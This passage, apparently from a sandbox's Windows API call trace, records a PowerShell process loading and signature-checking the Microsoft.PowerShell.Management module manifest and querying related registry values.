ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0159.889] FindClose (in: hFindFile=0x1cbf2a247d0 | out: hFindFile=0x1cbf2a247d0) returned 1 [0159.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.889] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0159.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0159.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0159.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0159.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0159.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.890] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdabb87f8 | out: lpFileInformation=0x1cbdabb87f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0159.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0159.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0159.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e060) returned 1 [0159.890] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9c4 [0159.891] GetFileType (hFile=0x9c4) returned 0x1 [0159.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580dfd0) returned 1 [0159.891] GetFileType (hFile=0x9c4) returned 0x1 [0159.891] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580e028*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580e028*=0) returned 0x0 [0159.891] ReadFile (in: hFile=0x9c4, lpBuffer=0x1cbdabb9748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580e0a8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdabb9748*, lpNumberOfBytesRead=0x250580e0a8*=0x9ea, lpOverlapped=0x0) returned 1 [0159.903] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580e028*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580e028*=0) returned 0x9ea [0159.903] ReadFile (in: hFile=0x9c4, lpBuffer=0x1cbdabb8c9a, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x250580e0a8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdabb8c9a*, lpNumberOfBytesRead=0x250580e0a8*=0x0, lpOverlapped=0x0) returned 1 [0159.903] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580e028*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580e028*=0) returned 0x9ea [0159.903] ReadFile (in: hFile=0x9c4, lpBuffer=0x1cbdabb9748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580e0a8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdabb9748*, lpNumberOfBytesRead=0x250580e0a8*=0x0, lpOverlapped=0x0) returned 1 [0159.904] CloseHandle (hObject=0x9c4) returned 1 [0159.917] CoCreateGuid (in: pguid=0x250580e2c8 | out: pguid=0x250580e2c8*(Data1=0x38c20433, Data2=0x48, Data3=0x45cd, Data4=([0]=0xb1, [1]=0x76, [2]=0xf5, [3]=0xd2, [4]=0x54, [5]=0x1a, [6]=0xcb, [7]=0x51))) returned 0x0 [0159.917] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9c4 [0159.918] SetEvent (hEvent=0x9d4) returned 1 [0159.918] SetEvent (hEvent=0x9c4) returned 1 [0159.918] SetEvent (hEvent=0x9cc) returned 1 [0159.918] SetEvent (hEvent=0x9d0) returned 1 [0159.918] SetThreadUILanguage (LangId=0x0) returned 0x409 [0159.983] EtwEventActivityIdControl () returned 0x0 [0159.983] EtwEventActivityIdControl () returned 0x0 [0159.983] EtwEventActivityIdControl () returned 0x0 [0160.088] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0160.089] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.089] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580da80) returned 1 [0160.089] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580db60 | out: lpFileInformation=0x250580db60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0160.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580da40) returned 1 [0160.089] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0160.089] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.089] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.089] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2a4c4b0 [0160.089] GetSystemDirectoryW (in: lpBuffer=0x1cbf2a4c4b0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0160.089] CoTaskMemFree (pv=0x1cbf2a4c4b0) [0160.089] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0160.089] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0160.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d660) returned 1 [0160.090] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x250580d740 | out: lpFileInformation=0x250580d740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0160.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d620) returned 1 [0160.090] GetSystemInfo (in: lpSystemInfo=0x250580d7b0 | out: lpSystemInfo=0x250580d7b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0160.090] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580d6b8 | out: phkResult=0x250580d6b8*=0x76c) returned 0x0 [0160.090] RegQueryValueExW (in: hKey=0x76c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x250580d708, lpData=0x0, lpcbData=0x250580d700*=0x0 | out: lpType=0x250580d708*=0x0, lpData=0x0, lpcbData=0x250580d700*=0x0) returned 0x2 [0160.090] RegCloseKey (hKey=0x76c) returned 0x0 [0160.090] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.090] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d610) returned 1 [0160.091] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0160.091] GetFileType (hFile=0x76c) returned 0x1 [0160.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d580) returned 1 [0160.091] GetFileType (hFile=0x76c) returned 0x1 [0160.091] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580d5d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580d5d8*=0) returned 0x0 [0160.091] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdaa79f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d658, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaa79f28*, lpNumberOfBytesRead=0x250580d658*=0x9ea, lpOverlapped=0x0) returned 1 [0160.091] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580d5d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580d5d8*=0) returned 0x9ea [0160.091] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdaa7947a, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x250580d658, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaa7947a*, lpNumberOfBytesRead=0x250580d658*=0x0, lpOverlapped=0x0) returned 1 [0160.091] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580d5d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580d5d8*=0) returned 0x9ea [0160.091] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdaa79f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d658, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaa79f28*, lpNumberOfBytesRead=0x250580d658*=0x0, lpOverlapped=0x0) returned 1 [0160.092] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2a4af70 [0160.092] GetSystemDirectoryW (in: lpBuffer=0x1cbf2a4af70, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0160.092] CoTaskMemFree (pv=0x1cbf2a4af70) [0160.092] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0160.092] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0160.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d560) returned 1 [0160.092] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x250580d640 | out: lpFileInformation=0x250580d640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0160.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d520) returned 1 [0160.092] GetSystemInfo (in: lpSystemInfo=0x250580d6b0 | out: lpSystemInfo=0x250580d6b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0160.092] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580d5b8 | out: phkResult=0x250580d5b8*=0x778) returned 0x0 [0160.092] RegQueryValueExW (in: hKey=0x778, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x250580d608, lpData=0x0, lpcbData=0x250580d600*=0x0 | out: lpType=0x250580d608*=0x0, lpData=0x0, lpcbData=0x250580d600*=0x0) returned 0x2 [0160.092] RegCloseKey (hKey=0x778) returned 0x0 [0160.092] CloseHandle (hObject=0x76c) returned 1 [0160.093] CoCreateGuid (in: pguid=0x250580d788 | out: pguid=0x250580d788*(Data1=0xd51ee8e6, Data2=0xa427, Data3=0x421e, Data4=([0]=0x96, [1]=0x20, [2]=0x20, [3]=0xa4, [4]=0x1e, [5]=0xa5, [6]=0x2a, [7]=0x74))) returned 0x0 [0160.093] QueryPerformanceCounter (in: lpPerformanceCount=0x250580d1f8 | out: lpPerformanceCount=0x250580d1f8*=25720342462) returned 1 [0160.093] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.093] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d070) returned 1 [0160.094] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580d150 | out: lpFileInformation=0x250580d150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0160.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d030) returned 1 [0160.094] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.094] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.094] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.094] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cf50) returned 1 [0160.094] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580d030 | out: lpFileInformation=0x250580d030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0160.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cf10) returned 1 [0160.094] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.094] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cee0) returned 1 [0160.094] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0160.094] GetFileType (hFile=0x76c) returned 0x1 [0160.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580ce50) returned 1 [0160.095] GetFileType (hFile=0x76c) returned 0x1 [0160.095] WTGetSignatureInfo () returned 0x0 [0160.226] CertDuplicateCertificateContext (pCertContext=0x1cbf29f1350) returned 0x1cbf29f1350 [0160.226] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580cf78 | out: phkResult=0x250580cf78*=0x7a8) returned 0x0 [0160.227] RegQueryValueExW (in: hKey=0x7a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580cfc8, lpData=0x0, lpcbData=0x250580cfc0*=0x0 | out: lpType=0x250580cfc8*=0x1, lpData=0x0, lpcbData=0x250580cfc0*=0x56) returned 0x0 [0160.227] RegQueryValueExW (in: hKey=0x7a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580cfc8, lpData=0x1cbdaa8d7e0, lpcbData=0x250580cfc0*=0x56 | out: lpType=0x250580cfc8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580cfc0*=0x56) returned 0x0 [0160.227] RegCloseKey (hKey=0x7a8) returned 0x0 [0160.227] CoTaskMemAlloc (cb=0x10) returned 0x1cbf2926010 [0160.227] CoTaskMemAlloc (cb=0x50) returned 0x1cbf2a24470 [0160.227] WinVerifyTrust () returned 0x0 [0160.229] CoTaskMemFree (pv=0x1cbf2a24470) [0160.229] CoTaskMemFree (pv=0x1cbf2926010) [0160.229] CertFreeCertificateContext (pCertContext=0x1cbf29f1350) returned 1 [0160.229] CloseHandle (hObject=0x76c) returned 1 [0160.303] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0160.303] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0160.303] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0160.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0160.310] GetFullPathNameW 